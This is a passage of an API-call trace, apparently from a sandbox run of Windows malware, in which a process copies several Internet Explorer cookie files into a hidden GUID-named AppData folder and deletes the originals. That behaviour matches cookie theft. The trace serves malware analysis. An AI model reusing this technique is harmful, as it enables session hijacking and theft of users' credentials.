returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.035] StrChrW (lpStart="Low\\aetadzjz@m.exactag[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@m.exactag[2].txt" [0116.035] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.035] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.035] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.035] StrChrW (lpStart="aetadzjz@m.exactag[2].txt", wMatch=0x94e005c) returned 0x0 [0116.035] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@m.exactag[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@m.exactag[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@m.exactag[2].txt" [0116.035] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@m.exactag[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@m.exactag[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@m.exactag[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@m.exactag[2].txt"), bFailIfExists=0) returned 1 [0116.039] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.039] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@m.exactag[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@m.exactag[2].txt")) returned 1 [0116.041] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93ed0 | out: hHeap=0x9770000) returned 1 [0116.041] lstrlenW (lpString="Low\\aetadzjz@mathtag[2].txt") returned 27 [0116.041] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.041] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.041] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf4) returned 0x9a98470 [0116.041] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.041] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.041] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.041] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.041] StrChrW (lpStart="Low\\aetadzjz@mathtag[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@mathtag[2].txt" [0116.041] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.041] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.041] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.042] StrChrW (lpStart="aetadzjz@mathtag[2].txt", wMatch=0x94e005c) returned 0x0 [0116.042] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@mathtag[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@mathtag[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@mathtag[2].txt" [0116.042] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@mathtag[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@mathtag[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@mathtag[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@mathtag[2].txt"), bFailIfExists=0) returned 1 [0116.045] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.045] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@mathtag[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@mathtag[2].txt")) returned 1 [0116.046] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93ff0 | out: hHeap=0x9770000) returned 1 [0116.046] lstrlenW (lpString="Low\\aetadzjz@microsoft[1].txt") returned 29 [0116.046] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.046] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.046] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf8) returned 0x9a98470 [0116.046] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.046] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.046] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.047] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.047] StrChrW (lpStart="Low\\aetadzjz@microsoft[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@microsoft[1].txt" [0116.047] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.047] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.047] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.047] StrChrW (lpStart="aetadzjz@microsoft[1].txt", wMatch=0x94e005c) returned 0x0 [0116.047] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@microsoft[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@microsoft[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@microsoft[1].txt" [0116.047] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@microsoft[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@microsoft[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@microsoft[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@microsoft[1].txt"), bFailIfExists=0) returned 1 [0116.051] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.051] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@microsoft[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@microsoft[1].txt")) returned 1 [0116.052] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94110 | out: hHeap=0x9770000) returned 1 [0116.052] lstrlenW (lpString="Low\\aetadzjz@msn[2].txt") returned 23 [0116.052] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.052] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.052] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xec) returned 0x9a98470 [0116.052] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.052] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.052] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.052] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.052] StrChrW (lpStart="Low\\aetadzjz@msn[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@msn[2].txt" [0116.052] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.052] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.052] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.052] StrChrW (lpStart="aetadzjz@msn[2].txt", wMatch=0x94e005c) returned 0x0 [0116.052] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@msn[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@msn[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@msn[2].txt" [0116.052] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@msn[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@msn[2].txt"), bFailIfExists=0) returned 1 [0116.167] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.167] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@msn[2].txt")) returned 1 [0116.168] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95b20 | out: hHeap=0x9770000) returned 1 [0116.168] lstrlenW (lpString="Low\\aetadzjz@openx[1].txt") returned 25 [0116.168] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.168] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.168] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf0) returned 0x9a98470 [0116.168] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.168] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.168] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.168] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.169] StrChrW (lpStart="Low\\aetadzjz@openx[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@openx[1].txt" [0116.169] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.169] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.169] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.169] StrChrW (lpStart="aetadzjz@openx[1].txt", wMatch=0x94e005c) returned 0x0 [0116.169] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@openx[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@openx[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@openx[1].txt" [0116.169] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@openx[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@openx[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@openx[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@openx[1].txt"), bFailIfExists=0) returned 1 [0116.172] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.172] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@openx[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@openx[1].txt")) returned 1 [0116.173] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95c30 | out: hHeap=0x9770000) returned 1 [0116.173] lstrlenW (lpString="Low\\aetadzjz@pixel.rubiconproject[1].txt") returned 40 [0116.173] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.173] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.173] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10e) returned 0x9a94110 [0116.173] lstrcpyW (in: lpString1=0x9a94110, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.173] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.173] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.173] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.173] 